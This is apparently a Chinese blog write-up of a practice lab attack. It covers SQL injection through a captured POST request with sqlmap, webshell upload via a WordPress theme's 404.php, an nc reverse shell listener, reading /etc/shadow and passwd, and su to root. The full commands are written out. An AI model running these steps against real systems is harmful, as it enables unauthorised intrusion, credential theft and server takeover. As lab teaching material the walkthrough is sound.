1、SQL注入漏洞介绍

SQL注入攻击指的是通过特殊的输入作为参数拆入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句中进而执行攻击者所要的操作,起主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。

任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中,POST传递的参数;

实验环境
攻击机:10.0.2.11
靶场机器:10.0.2.10

2、信息探测

扫描主机开放的全部端口

–nmap -T4 -p- 靶场IP地址

SQL注入POST参数-注入HTTP报文

快速扫描主机全部信息

–nmap -T4 -A -V 靶场IP地址

SQL注入POST参数-注入HTTP报文SQL注入POST参数-注入HTTP报文SQL注入POST参数-注入HTTP报文

我们可以发现80端口和8080端口开放的http服务

探测敏感信息

–nikto -host http://靶场IP地址:端口

–dirb http://靶场IP地址:端口

分析扫描的结果80端口

SQL注入POST参数-注入HTTP报文

打开我们发现了一个登录界面

SQL注入POST参数-注入HTTP报文

3、漏洞扫描

漏洞扫描器Owasp-zap

先对默认的80端口进行探测

SQL注入POST参数-注入HTTP报文

未发现高危漏洞

SQL注入POST参数-注入HTTP报文

接着扫描8080端口

SQL注入POST参数-注入HTTP报文

也未发现高危漏洞

SQL注入POST参数-注入HTTP报文

对登录界面我们想到该页面是否具有对应的SQL注入,可以使我们注入到系统库当中,获取对应的数据

4、漏洞利用

针对web进行漏洞扫描

对扫描的结果进行分析。注意如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但扫描结果也不一定正确。

使用sqlmap利用SQL注入漏洞

使用Burpsuite来抓取数据包
在浏览器设置代理为8081端口

SQL注入POST参数-注入HTTP报文SQL注入POST参数-注入HTTP报文SQL注入POST参数-注入HTTP报文

复制返回的数据包

SQL注入POST参数-注入HTTP报文

粘贴数据包进行注入

–sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch

request.raw抓取的数据包头,level 5最高水平,risk 3最高风险,用Mysql的数据库dbms,batch为不再询问,自动补齐。

SQL注入POST参数-注入HTTP报文
SQL注入POST参数-注入HTTP报文

–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” --tables 查看对应数据库中的数据表 --batch

SQL注入POST参数-注入HTTP报文
SQL注入POST参数-注入HTTP报文

–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” --columns 查看对应字段 --batchSQL注入POST参数-注入HTTP报文

SQL注入POST参数-注入HTTP报文

–sqlmap -r request.raw --level 5 --risk 3 -D “数据库名” -T “表名” -C “列名” --dump --batchSQL注入POST参数-注入HTTP报文

SQL注入POST参数-注入HTTP报文

打开http://192.168.1.109:8080/wordpress/wp-login.php,进入登陆页面

5、上传webshell获得控制权

wordpress后台寻找上传点

–主题的404.php可以上传webshell

–webshell 获取/usl/share/webshell.php/

SQL注入POST参数-注入HTTP报文

修改对应的webshell,复制保存

SQL注入POST参数-注入HTTP报文

上传webshell

SQL注入POST参数-注入HTTP报文

执行shell,获取反弹shell。

http://靶场IP地址:端口号/目录/wp-content/themes/主题名/404.php

http://192.168.1.109:8080/wordpress/wp-content/themes/twentythirteen/404.php

启动监听

–nc -nlvp port

SQL注入POST参数-注入HTTP报文

启动终端

–python -c “import pty;pty.spawn(’/bin/bash’)”

SQL注入POST参数-注入HTTP报文

6、root权限

–使用 cat etc/shadow查看敏感文件

–使用 cat etc/passwd查看敏感文件

–使用 su - 提升root权限

在提升权限的过程中发现需要密码我们尝试之前发现的用户名密码

SQL注入POST参数-注入HTTP报文

最后成功登入

SQL注入POST参数-注入HTTP报文

总结

只要是用户可以输入的位置都是有可能存在注入点的;漏洞扫描器的扫描结果也不一定正确。

相关文章:

  • 2021-09-19
  • 2021-05-18
  • 2021-06-22
  • 2021-11-28
  • 2019-01-16
  • 2020-02-04
  • 2019-10-04
  • 2021-05-20
猜你喜欢
  • 2020-02-04
  • 2021-06-10
  • 2021-08-03
  • 2021-09-19
  • 2021-08-08
  • 2020-02-04
  • 2021-04-08
  • 2021-12-13
相关资源
相似解决方案